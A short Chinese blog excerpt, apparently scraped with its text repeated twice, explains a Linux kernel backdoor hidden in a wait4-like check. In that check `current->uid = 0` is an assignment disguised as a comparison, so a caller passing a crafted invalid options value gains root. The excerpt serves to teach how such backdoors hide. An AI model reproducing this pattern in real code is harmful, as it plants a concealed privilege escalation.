if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
像不像wait4函数,正常情况下没有任何影响,但是如果调用程序故意传入非法值,if表达式的第二部分就会执行。该部分会将程序的用户ID(current->uid)设为0,在Linux中就是root用户。
Linux内核后门
最新推荐文章于 2024-07-08 17:29:51 发布
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
像不像wait4函数,正常情况下没有任何影响,但是如果调用程序故意传入非法值,if表达式的第二部分就会执行。该部分会将程序的用户ID(current->uid)设为0,在Linux中就是root用户。